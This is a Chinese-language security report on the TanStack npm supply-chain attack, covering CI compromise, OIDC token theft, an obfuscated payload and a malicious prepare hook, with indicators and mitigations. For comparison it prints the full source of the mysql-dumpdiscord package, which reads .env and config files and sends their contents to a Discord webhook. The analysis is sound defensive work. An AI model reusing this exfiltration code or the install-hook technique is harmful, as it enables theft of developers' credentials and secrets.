摘要

這份報告針對近期鎖定 TanStack NPM 套件的供應鏈攻擊,提供詳細的技術分析。內容深入探討攻擊途徑,包括 CI 系統遭入侵、認證竊取惡意軟體,以及混淆過的 JavaScript 的使用。報告檢視了 package.json 中的惡意修改,以及 GitHub Actions 在此入侵事件中所扮演的角色。此外,也探討此事件對軟體供應鏈安全的廣泛影響,並概述建議的緩解措施以防止類似事件發生。分析中也將此攻擊與其他 NPM 供應鏈攻擊進行類比,突顯 Threat actor 常用的手法。


OIDC 竟成為攻擊破口?TanStack 事件中 GitHub Actions 的 Pwn Request 與快取中毒技術全文 | 資訊安全新聞

1. 簡介

軟體供應鏈的完整性已成為現代軟體開發中至關重要的議題。隨著專案日益依賴龐大的開源套件生態系,在開發和部署流程的各個階段,惡意程式碼注入的風險也隨之增加。近期發生的 84 個 TanStack NPM 套件遭入侵事件,正說明了此弱點。這起攻擊被識別為持續進行的 Mini Shai-Hulud 活動的一部分,涉及修改套件以納入疑似竊取 CI 認證的惡意軟體 [1] 。此報告目的在提供此事件的完整技術分析,探討攻擊方法、其影響以及有效的防禦措施。我們也將從其他相關的供應鏈攻擊中汲取見解,以提供對不斷演變的威脅環境更全面的觀點。

2. TanStack 攻擊的技術分析

2.1. 攻擊途徑與機制

TanStack 入侵事件歸因於一場複雜的 chained GitHub Actions 攻擊,利用了 pull_request_target 的「Pwn Request」模式,以及跨越 fork 與基礎程式庫信任邊界的 GitHub Actions 快取 poisoning [1] 。這使得攻擊者能夠從 GitHub Actions runner process 中進行執行時期記憶體擷取,取得 OIDC Token。關鍵在於,攻擊者並未竊取 npm token,npm 發佈工作流程本身也未直接遭入侵。相反地,惡意發佈是透過專案的 OIDC trusted-publisher 綁定進行身分驗證,而攻擊者控制的程式碼是在工作流程的測試/清理階段執行,並直接向 npm registry 發送資料 [1]

2.2. Malicious Payload與混淆技術

遭入侵的套件版本中包含一個新增的 router_init.js 檔案,大小約 2.3 MB。此檔案使用類似 javascript-obfuscator 的典型模式進行高度混淆,包括字串陣列旋轉、十六進制編碼的識別碼查找(例如 _0x253b )、在 while(!![]){} 狀態機內的控制流扁平化,以及無效程式碼注入。此混淆技術與 Terser 或 esbuild 等典型最小化工具的輸出截然不同,顯示這是刻意隱藏惡意意圖的行為 [1]

此 Malicious Payload 展現了以下幾個關鍵功能:

  • 以 spawn 方式進行的 Daemon 化,具有 __DAEMONIZED 重入防護與獨立的 stdio。
  • 存取 GITHUB_* 環境變數,其中包含僅限 Actions/CI 使用的 secrets,例如 Token 與 Actor 身分資訊。
  • 暫存目錄的分段處理,具備讀取/寫入/刪除的完整生命週期。
  • 遠端串流/派發操作。

2.3. package.json 的修改

此攻擊的一個關鍵環節涉及對 package.json 檔案所做的修改,特別是新增了一個 optionalDependencies 欄位:

  1. "optionalDependencies": {
  2. "@tanstack/setup": "github:tanstack/router"
  3. }

此修改指向 TanStack/router 儲存庫中一個非常可疑的獨立/根目錄 commit 記錄(commit hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c [1] 。該 commit 記錄沒有先前的 commit 歷史,只引入了兩個檔案:一個 package.json 和一個打包好的 tanstack_runner.js Payload。新增的 package.json 定義了一個名為 @tanstack/setup 的套件,並註冊了一個 prepare 生命週期 Hook,會執行 bun run tanstack_runner.js && exit 1 。此機制允許在開發者工作站或 CI 系統上,於安裝使用 git 的相依套件時,自動執行任意程式碼 [1]

3. 比較分析:供應鏈攻擊中的 Discord Webhook

為了更深入了解供應鏈攻擊的演變趨勢,檢視其他事件是很有幫助的。使用合法服務進行惡意的 Command and Control (C2) 操作和資料外洩已成為一種日益增長的趨勢。例如,Discord Webhook 已被用於各種套件生態系(包括 npm、PyPI 和 RubyGems)中,以建立隱蔽的通訊管道 [2]

3.1. mysql-dumpdiscord npm 套件分析

mysql-dumpdiscord 這個 npm 套件就是一個典型的檔案外洩 Dropper。此惡意套件目的在識別並從遭入侵的系統中提取敏感的設定檔,並透過 hardcoded 的 Discord Webhook URL 傳送其內容 [2]

3.1.1. 程式碼分析

mysql-dumpdiscord 的核心功能涉及逐一處理預先定義好的檔案名稱清單,解析出它們的絕對路徑、檢查檔案是否存在、讀取檔案內容,然後建構一則 Discord 訊息。一個值得注意的功能是內容截斷邏輯,這確保了即使是大檔案也能被部分外洩,而不會超過 Discord 的訊息長度限制 [2]

  1. const fs = require("fs");
  2. const path = require("path");
  3. // Discord Webhook URL - This is the exfiltration point
  4. const WEBHOOK_URL = "https://discord[.]com/api/webhooks/..."; // Example URL, actual URL is obfuscated
  5. // List of target files for exfiltration
  6. const FILES = ["config.json", "config.js",".env","ayarlar.json", "ayarlar.js"];
  7. async function sendToWebhook(filePath) {
  8. try {
  9. const fullPath = path.resolve(filePath);
  10. // Check if the file exists before attempting to read
  11. if (!fs.existsSync(fullPath)) return;
  12. // Read file content synchronously
  13. const content = fs.readFileSync(fullPath, "utf-8");
  14. let message;
  15. // Truncate content if it exceeds Discord's message length limit (1900 characters for code blocks)
  16. if (content.length > 1900) {
  17. message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`txt\\n${content.slice(0, 1900)}...\\n\\`\\`\\`\\n⚠️ File is too big, it was shortened.`;
  18. } else {
  19. message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`js\\n${content}\\n\\`\\`\\``;
  20. }
  21. // Send the formatted message to the Discord webhook
  22. await fetch(WEBHOOK_URL, {
  23. method: "POST",
  24. headers: { "Content-Type": "application/json" },
  25. body: JSON.stringify({ content: message }),
  26. });
  27. } catch (err) {
  28. // Silent error handling to avoid detection
  29. console.error("❌ Error:", err.message);
  30. }
  31. }
  32. // Iterate through the list of files and attempt to send their content
  33. FILES.forEach((file) => sendToWebhook(file));
  34. module.exports = {};

這段程式碼片段展示了惡意套件如何有系統地鎖定常見的設定檔。使用 fs.readFileSync 進行同步檔案讀取,以及使用 fetch 將資料傳送到 Webhook,這些都是標準的 Node.js 實務做法,使得惡意活動能融入合法操作中。靜默的錯誤處理( console.error )是一種常用手法,目的是在執行期間避免引起懷疑 [2]

3.1.2. 架構流程

mysql-dumpdiscord 套件的運作流程可視覺化如下:

graph TD A[Malicious npm Package: mysql-dumpdiscord] --> B{Read Configuration Files} B --> C{Check File Existence} C -- File Exists --> D[Read File Content] D --> E{Content Length Check} E -- > 1900 chars --- F[Truncate Content] E -- <= 1900 chars --- G[Full Content] F --> H[Format Discord Message] G --> H H --> I[Send to Discord Webhook] I --> J{Data Exfiltrated} C -- File Not Exists --> K[Skip File]

此圖說明了直接且有效的外洩程序。由於每個步驟都定義明確,這種模組化設計可以有效地鎖定目標並傳輸資料。對 Discord Webhook 的依賴繞過了對專用 C2 伺服器的需求,使得偵測更加困難 [2]

4. 入侵指標與緩解策略

4.1. 入侵指標

針對 TanStack 攻擊,已識別出多個入侵指標 [1]

  • 存在 router_init.js 檔案,且其特定 SHA256 hash 值為
    ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • package.json 中出現非預期的 optionalDependencies ,指向 github:tanstack/router 且帶有 commit
    79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • GitHub Commit 記錄的作者為 claude@users.noreply.github.com ,但並非由正規的 Claude Code GitHub App 所發起。
  • 對外連線至 filev2.getsession[.]org 及相關的 Session 基礎設施。

4.2. 建議的緩解策略

為了防禦這類複雜的供應鏈攻擊,採取多層次的方法至關重要。根據 TanStack 事件及一般最佳實務,建議採用以下緩解策略 [1]

  • 立即分類與檢查: 掃描並驗證相依樹中的 router_init.js 檔案是否完整。
  • 更換 Secrets: 立即更換所有安裝了受影響套件版本之系統上的 secrets(包含 npm TokenGitHub PAT/OIDC 信任關係、AWS 憑證、Vault TokenKubernetes service account token)。
  • 撤銷 OIDC 聯合授權: 對於從受影響儲存庫發佈的 npm 套件,撤銷其 GitHub Actions OIDC 聯合授權,並僅在確認工作流程完整性後重新建立。
  • 稽核開發者目錄: 檢查 .claude/ .vscode/ 目錄中是否有可疑檔案,例如 router_runtime.js setup.mjs ,或 settings.json hooks、 tasks.json 中的不明項目。
  • 審查 GitHub Commit 記錄: 主動監控未經授權的Commit 記錄,尤其是來自可疑作者的 Commit。
  • 掃描 npm 發佈日誌: 尋找來自 GitHub Actions runner 的非預期發佈。
  • 封鎖惡意對外連線: 實施網路層級的封鎖,阻擋已知的惡意網域,例如 filev2.getsession[.]org
  • 實施套件鎖定驗證: 使用 Subresource Integrity 或套件鎖定驗證,並在 package-lock.json pnpm-lock.yaml 中固定所有套件的 integrity 欄位。
  • 限制 OIDC Token 範圍: 為 GitHub Actions 工作流程設定精細的 OIDC Token 權限,對於不需要 OIDC 發佈的工作流程設定 permissions: id-token: none ,並將 id-token: write 權限僅鎖定在特定的發佈任務上。
  • 不要僅依賴 Sigstore 了解攻擊者若能在 GitHub Actions 中執行程式碼,仍然可以為惡意套件產生有效的 Sigstore 證明。

5. 結論

TanStack NPM 供應鏈攻擊事件,清楚地提醒了軟體生態系正面臨持續且不斷演變的威脅。巧妙地利用 GitHub Actions 的弱點,結合混淆過的惡意軟體以及對 package.json 的細微修改,凸顯了持續保持警覺與實施強健安全實務的重要性。透過了解這類攻擊的技術細節,並實施全面的緩解策略,組織可以顯著增強抵禦未來供應鏈入侵事件的韌性。與其他事件(例如 mysql-dumpdiscord 套件)的比較分析,進一步強調了 Threat actor 所採用的多樣化手法,以及多層面防禦的重要性。